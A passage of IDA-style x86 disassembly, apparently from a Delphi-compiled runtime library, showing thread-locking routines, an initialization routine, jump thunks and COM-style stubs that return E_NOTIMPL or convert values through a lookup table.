		mov	ebx, eax
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C5D0
		dec	dword ptr [ebx+1Ch]
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_4000C87F
		xor	eax, eax
		mov	[ebx+24h], eax
		lea	eax, [ebx+0Ch]
		mov	edx, 0FFFFh
		call	sub_4000C554
		mov	eax, ebx
		call	sub_4000C770
		mov	eax, ebx
		call	sub_4000C764


loc_4000C87F:				; CODE XREF: .text:4000C85Dj
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4000C892
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C648


loc_4000C892:				; CODE XREF: .text:4000C886j
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, eax
		mov	edx, esp
		mov	eax, [edi+20h]
		call	sub_4000C5D0
		mov	eax, [esp]
		inc	dword ptr [eax+0Ch]
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 1
		setnbe	bl
		call	sub_40006560	; GetCurrentThreadId
		cmp	eax, [edi+24h]
		jz	short loc_4000C902
		test	bl, bl
		jnz	short loc_4000C902
		mov	eax, edi
		call	sub_4000C77C
		jmp	short loc_4000C8F6
; ---------------------------------------------------------------------------


loc_4000C8CF:				; CODE XREF: .text:4000C900j
		lea	eax, [edi+0Ch]
		call	sub_4000C534
		mov	esi, eax
		cmp	esi, 0FFFFh
		jnz	short loc_4000C8E8
		mov	eax, edi
		call	sub_4000C770


loc_4000C8E8:				; CODE XREF: .text:4000C8DFj
		push	0
		call	sub_4000C408	; Sleep
		mov	eax, edi
		call	sub_4000C77C


loc_4000C8F6:				; CODE XREF: .text:4000C8CDj
		lea	eax, [edi+0Ch]
		call	sub_4000C540
		test	eax, eax
		jle	short loc_4000C8CF


loc_4000C902:				; CODE XREF: .text:4000C8C0j
					; .text:4000C8C4j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	ecx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C5D0
		mov	eax, [esp]
		dec	dword ptr [eax+0Ch]
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4000C96D
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C648
		call	sub_40006560	; GetCurrentThreadId
		cmp	eax, [ebx+24h]
		jz	short loc_4000C96D
		lea	eax, [ebx+0Ch]
		call	sub_4000C534
		mov	ecx, eax
		cmp	ecx, 0FFFFh
		jnz	short loc_4000C954
		mov	eax, ebx
		call	sub_4000C770
		jmp	short loc_4000C96D
; ---------------------------------------------------------------------------


loc_4000C954:				; CODE XREF: .text:4000C949j
		test	ecx, ecx
		jg	short loc_4000C96D
		mov	eax, ecx
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4000C96D
		mov	eax, ebx
		call	sub_4000C770


loc_4000C96D:				; CODE XREF: .text:4000C923j
					; .text:4000C937j ...
		pop	edx
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000C970	proc near		; CODE XREF: sub_4000CC50+22p
					; sub_40013ED4+40p ...
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_40003CE8
		retn
sub_4000C970	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4000C980	dd 1Dh				dd offset dword_4001AA00
		dd offset off_4001B010
		dd offset dword_4001A9F8
		dd offset off_4001AFA4
		dd offset dword_4001A9F0
		dd offset off_4001AEE0
		dd offset dword_4001A9E8
		dd offset off_4001B038
		dd offset dword_4001A9E0
		dd offset off_4001B050
		dd offset dword_4001A9D8
		dd offset off_4001AF44
		dd offset dword_4001A9D0
		dd offset off_4001AF94
		dd offset dword_4001A9C8
		dd offset off_4001AEBC
		dd offset dword_4001A9C0
		dd offset off_4001AFB4
		dd offset dword_4001A9B8
		dd offset off_4001AFD4
		dd offset dword_4001A9B0
		dd offset off_4001AF70
		dd offset dword_4001A9A8
		dd offset off_4001AF78
		dd offset dword_4001A9A0
		dd offset off_4001B088
		dd offset dword_4001A998
		dd offset off_4001AF74
		dd offset dword_4001A990
		dd offset off_4001B0BC
		dd offset dword_4001A988
		dd offset off_4001B004
		dd offset dword_4001A980
		dd offset off_4001AFEC
		dd offset dword_4001A978
		dd offset off_4001B0C4
		dd offset dword_4001A970
		dd offset off_4001B0A8
		dd offset dword_4001A968
		dd offset off_4001AF88
		dd offset dword_4001A960
		dd offset off_4001B08C
		dd offset dword_4001A958
		dd offset off_4001B094
		dd offset dword_4001A950
		dd offset off_4001AF34
		dd offset dword_4001A948
		dd offset off_4001AF0C
		dd offset dword_4001A940
		dd offset off_4001AFE8
		dd offset dword_4001A938
		dd offset off_4001B034
		dd offset dword_4001A930
		dd offset off_4001AEC4
		dd offset dword_4001A928
		dd offset off_4001B084
		dd offset dword_4001A920
		dd offset off_4001AF84
dword_4000CA6C	dd 28h				dd offset off_4001A918
		dd offset off_4001B078
		dd 0
		dd offset off_4001A914
		dd offset off_4001AEE8
		align 8
		dd offset off_4001A910
		dd offset off_4001B028
		dd 0
		dd offset off_4001A90C
		dd offset off_4001AED0
		align 10h
		dd offset off_4001A908
		dd offset off_4001AF18
		dd 0
		dd offset off_4001A904
		dd offset off_4001AF10
		dd 0
		dd offset off_4001A900
		dd offset off_4001AEF0
		dd 0
		dd offset off_4001A8FC
		dd offset off_4001AF80
		align 10h
		dd offset off_4001A8F8
		dd offset off_4001B000
		dd 0
		dd offset off_4001A8F4
		dd offset off_4001AF14
		align 8
		dd offset off_4001A8F0
		dd offset off_4001AFE0
		dd 0
		dd offset off_4001A8EC
		dd offset off_4001B04C
		align 10h
		dd offset off_4001A8E8
		dd offset off_4001B040
		dd 0
		dd offset off_4001A8E4
		dd offset off_4001B008
		align 8
		dd offset off_4001A8E0
		dd offset off_4001AF6C
		dd 0
		dd offset off_4001A8DC
		dd offset off_4001AF50
		align 10h
		dd offset off_4001A8D8
		dd offset off_4001AECC
		dd 0
		dd offset off_4001A8D4
		dd offset off_4001B03C
		align 8
		dd offset off_4001A8D0
		dd offset off_4001AFC4
		dd 0
		dd offset off_4001A8CC
		dd offset off_4001AF48
		align 10h
		dd offset off_4001A8C8
		dd offset off_4001AFB0
		dd 0
		dd offset off_4001A8C4
		dd offset off_4001AFF8
		align 8
		dd offset off_4001A8C0
		dd offset off_4001AFBC
		dd 0
		dd offset off_4001A8BC
		dd offset off_4001AF58
		align 10h
		dd offset off_4001A8B8
		dd offset off_4001AEC8
		dd 0
		dd offset off_4001A8B4
		dd offset off_4001AF9C
		align 8
		dd offset off_4001A8B0
		dd offset off_4001B098
		dd 0
		dd offset off_4001A8AC
		dd offset off_4001B070
		align 10h
		dd offset off_4001A8A8
		dd offset off_4001AFDC
		dd 0
		dd offset off_4001A8A4
		dd offset off_4001AF30
		align 8
		dd offset off_4001A8A0
		dd offset off_4001AED8
		dd 0
		dd offset off_4001A89C
		dd offset off_4001B068
		align 10h
		dd offset off_4001A898
		dd offset off_4001B0D0
		dd 0
		dd offset off_4001A894
		dd offset off_4001AEF4
		dd 0
		dd offset off_4001A890
		dd offset off_4001AEB8
		dd 0
		dd offset off_4001A88C
		dd offset off_4001B080
		align 10h
		dd offset off_4001A888
		dd offset off_4001AFD8
		dd 0
		dd offset off_4001A884
		dd offset off_4001B0AC
		align 8
		dd offset off_4001A860
		dd offset off_4001AF8C
		dd 0
		dd offset off_4001A85C
		dd offset off_4001AF38
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CC50	proc near		; DATA XREF: .text:40018370o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4000CDCF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001E918
		jnz	loc_4000CDC1
		mov	eax, offset dword_4001F224
		call	sub_4000C970
		mov	eax, offset sub_4000C230
		call	sub_400060C4
		call	sub_4000C4B4
		call	sub_4000B7B0
		mov	eax, offset dword_4001A7DC
		call	sub_40004884
		mov	eax, offset dword_4001A7E0
		call	sub_40005008
		mov	eax, offset dword_4001A7F4
		call	sub_40004884
		mov	eax, offset dword_4001E808
		call	sub_40004884
		mov	eax, offset dword_4001E814
		call	sub_40004884
		mov	eax, offset dword_4001E818
		call	sub_40004884
		mov	eax, offset dword_4001E820
		call	sub_40004884
		mov	eax, offset dword_4001E824
		call	sub_40004884
		mov	eax, offset dword_4001E828
		call	sub_40004884
		mov	eax, offset dword_4001E82C
		call	sub_40004884
		mov	eax, offset dword_4001E830
		mov	ecx, 0Ch
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E860
		mov	ecx, 0Ch
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E890
		mov	ecx, 7
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E8AC
		mov	ecx, 7
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E8D8
		mov	ecx, 7
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E910
		mov	edx, ds:off_400077D8
		call	sub_40005B34
		mov	eax, offset dword_4001E914
		mov	edx, ds:off_400077FC
		call	sub_40005B34
		mov	eax, offset off_4001A84C
		call	sub_40004884
		mov	eax, offset off_4001A854
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001A91C
		mov	ecx, 7
		mov	edx, ds:off_4000B210
		call	sub_40005314
		mov	eax, offset off_4001A954
		mov	ecx, 16h
		mov	edx, ds:off_4000B290
		call	sub_40005314


loc_4000CDC1:				; CODE XREF: sub_4000CC50+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CDD6


loc_4000CDCE:				; CODE XREF: sub_4000CC50+184j
		retn
; ---------------------------------------------------------------------------


loc_4000CDCF:				; DATA XREF: sub_4000CC50+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CDCE
; ---------------------------------------------------------------------------


loc_4000CDD6:				; CODE XREF: sub_4000CC50:loc_4000CDCEj
					; DATA XREF: sub_4000CC50+179o
		pop	ebp
		retn
sub_4000CC50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDD8	proc near		; CODE XREF: sub_4000E35C+72p
					; sub_4000E744+13p ...
		jmp	ds:dword_40024660
sub_4000CDD8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDE0	proc near		; CODE XREF: sub_4000E1E0+16Bp
					; sub_4000E35C+Fp ...
		jmp	ds:dword_4002465C
sub_4000CDE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDE8	proc near		; CODE XREF: sub_4000E480+1B9p
					; sub_4000E654+21p ...
		jmp	ds:dword_40024658
sub_4000CDE8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDF0	proc near		; CODE XREF: sub_4000CDF8+25p
		jmp	ds:dword_40024654
sub_4000CDF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CDF8	proc near		; DATA XREF: sub_4000D28C+12o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_4000CE0B
		mov	eax, 80004001h
		jmp	short loc_4000CE22
; ---------------------------------------------------------------------------


loc_4000CE0B:				; CODE XREF: sub_4000CDF8+Aj
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4000CDF0


loc_4000CE22:				; CODE XREF: sub_4000CDF8+11j
		pop	ebp
		retn	14h
sub_4000CDF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE28	proc near		; DATA XREF: sub_4000D28C+28o
					; sub_4000D28C+3Eo
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	8
sub_4000CE28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE34	proc near		; DATA XREF: sub_4000D28C+54o
					; sub_4000D28C+6Ao ...
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	0Ch
sub_4000CE34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE40	proc near		; DATA XREF: sub_4000D28C+11Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	10h
sub_4000CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE4C	proc near		; DATA XREF: sub_4000D28C+130o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CEA6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CE70
		mov	ebx, 80004001h
		jmp	short loc_4000CE90
; ---------------------------------------------------------------------------


loc_4000CE70:				; CODE XREF: sub_4000CE4C+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40007DEC
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CE90:				; CODE XREF: sub_4000CE4C+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CEAD


loc_4000CE9D:				; CODE XREF: sub_4000CE4C+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CEA6:				; DATA XREF: sub_4000CE4C+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CE9D
; ---------------------------------------------------------------------------


loc_4000CEAD:				; CODE XREF: sub_4000CE4C+59j
					; DATA XREF: sub_4000CE4C+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CE4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CEB8	proc near		; DATA XREF: sub_4000D28C+146o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CF12
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CEDC
		mov	ebx, 80004001h
		jmp	short loc_4000CEFC
; ---------------------------------------------------------------------------


loc_4000CEDC:				; CODE XREF: sub_4000CEB8+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40008EBC
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CEFC:				; CODE XREF: sub_4000CEB8+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CF19


loc_4000CF09:				; CODE XREF: sub_4000CEB8+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CF12:				; DATA XREF: sub_4000CEB8+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CF09
; ---------------------------------------------------------------------------


loc_4000CF19:				; CODE XREF: sub_4000CEB8+59j
					; DATA XREF: sub_4000CEB8+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CEB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CF24	proc near		; DATA XREF: sub_4000D28C+15Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CF7E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CF48
		mov	ebx, 80004001h
		jmp	short loc_4000CF68
; ---------------------------------------------------------------------------


loc_4000CF48:				; CODE XREF: sub_4000CF24+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40008E90
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CF68:				; CODE XREF: sub_4000CF24+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CF85


loc_4000CF75:				; CODE XREF: sub_4000CF24+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CF7E:				; DATA XREF: sub_4000CF24+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CF75
; ---------------------------------------------------------------------------


loc_4000CF85:				; CODE XREF: sub_4000CF24+59j
					; DATA XREF: sub_4000CF24+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CF24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CF90	proc near		; DATA XREF: sub_4000D28C+172o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CFEA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CFB4
		mov	ebx, 80004001h
		jmp	short loc_4000CFD4
; ---------------------------------------------------------------------------


loc_4000CFB4:				; CODE XREF: sub_4000CF90+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_4000A780
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CFD4:				; CODE XREF: sub_4000CF90+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CFF1


loc_4000CFE1:				; CODE XREF: sub_4000CF90+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CFEA:				; DATA XREF: sub_4000CF90+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CFE1
; ---------------------------------------------------------------------------


loc_4000CFF1:				; CODE XREF: sub_4000CF90+59j
					; DATA XREF: sub_4000CF90+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CF90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CFFC	proc near		; DATA XREF: sub_4000D28C+188o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000D056
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000D020
		mov	ebx, 80004001h
		jmp	short loc_4000D040
; ---------------------------------------------------------------------------


loc_4000D020:				; CODE XREF: sub_4000CFFC+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40008EE8
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000D040:				; CODE XREF: sub_4000CFFC+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D05D


loc_4000D04D:				; CODE XREF: sub_4000CFFC+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D056:				; DATA XREF: sub_4000CFFC+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D04D
; ---------------------------------------------------------------------------


loc_4000D05D:				; CODE XREF: sub_4000CFFC+59j
					; DATA XREF: sub_4000CFFC+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CFFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D068	proc near		; DATA XREF: sub_4000D28C+19Eo

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000D0D5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000D092
		mov	ebx, 80004001h
		jmp	short loc_4000D0BF
; ---------------------------------------------------------------------------


loc_4000D092:				; CODE XREF: sub_4000D068+21j
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_1]
		call	sub_40007F40
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]
		cmp	[ebp+var_1], 1
		cmc
		sbb	eax, eax
		mov	edx, [ebp+arg_C]
		mov	[edx], ax


loc_4000D0BF:				; CODE XREF: sub_4000D068+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D0DC


loc_4000D0CC:				; CODE XREF: sub_4000D068+72j
		lea	eax, [ebp+var_8]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D0D5:				; DATA XREF: sub_4000D068+Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D0CC
; ---------------------------------------------------------------------------


loc_4000D0DC:				; CODE XREF: sub_4000D068+6Cj
					; DATA XREF: sub_4000D068+5Fo
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000D068	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D0E8	proc near		; DATA XREF: sub_4000D28C+1B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4000D0F9
		xor	edx, edx
		mov	[eax], edx


loc_4000D0F9:				; CODE XREF: sub_4000D0E8+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_4000D148
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_4000D117
		mov	ebx, 80004001h
		jmp	short loc_4000D132
; ---------------------------------------------------------------------------


loc_4000D117:				; CODE XREF: sub_4000D0E8+26j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		call	sub_40008E44
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		call	sub_40005158
		xor	ebx, ebx


loc_4000D132:				; CODE XREF: sub_4000D0E8+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D14F


loc_4000D13F:				; CODE XREF: sub_4000D0E8+65j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D148:				; DATA XREF: sub_4000D0E8+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D13F
; ---------------------------------------------------------------------------


loc_4000D14F:				; CODE XREF: sub_4000D0E8+5Fj
					; DATA XREF: sub_4000D0E8+52o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_4000D0E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D158	proc near		; DATA XREF: sub_4000D28C+1CAo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4000D169
		xor	edx, edx
		mov	[eax], edx


loc_4000D169:				; CODE XREF: sub_4000D158+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_4000D1BA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_4000D187
		mov	ebx, 80004001h
		jmp	short loc_4000D1A4
; ---------------------------------------------------------------------------


loc_4000D187:				; CODE XREF: sub_4000D158+26j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_40009E60
		mov	eax, [ebp+arg_10]
		mov	edx, [ebp+var_4]
		call	sub_40005158
		xor	ebx, ebx


loc_4000D1A4:				; CODE XREF: sub_4000D158+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D1C1


loc_4000D1B1:				; CODE XREF: sub_4000D158+67j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D1BA:				; DATA XREF: sub_4000D158+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D1B1
; ---------------------------------------------------------------------------


loc_4000D1C1:				; CODE XREF: sub_4000D158+61j
					; DATA XREF: sub_4000D158+54o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_4000D158	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D1CC	proc near		; DATA XREF: sub_4000D28C+1E0o

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_4000D1DD
		xor	edx, edx
		mov	[eax], edx


loc_4000D1DD:				; CODE XREF: sub_4000D1CC+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_4000D230
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000D1FB
		mov	ebx, 80004001h
		jmp	short loc_4000D21A
; ---------------------------------------------------------------------------


loc_4000D1FB:				; CODE XREF: sub_4000D1CC+26j
		cmp	[ebp+arg_0], 1
		sbb	eax, eax
		inc	eax
		lea	ecx, [ebp+var_4]
		xor	edx, edx
		call	sub_40007FDC
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		call	sub_40005158
		xor	ebx, ebx


loc_4000D21A:				; CODE XREF: sub_4000D1CC+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D237


loc_4000D227:				; CODE XREF: sub_4000D1CC+69j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D230:				; DATA XREF: sub_4000D1CC+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D227
; ---------------------------------------------------------------------------


loc_4000D237:				; CODE XREF: sub_4000D1CC+63j
					; DATA XREF: sub_4000D1CC+56o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000D1CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D240	proc near		; CODE XREF: sub_4000E480+EEp
		jmp	ds:dword_40024650
sub_4000D240	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D248	proc near		; CODE XREF: sub_4000E1E0+AFp
					; sub_4000E480+99p
		jmp	ds:dword_4002464C
sub_4000D248	endp

; ---------------------------------------------------------------------------
		align 10h

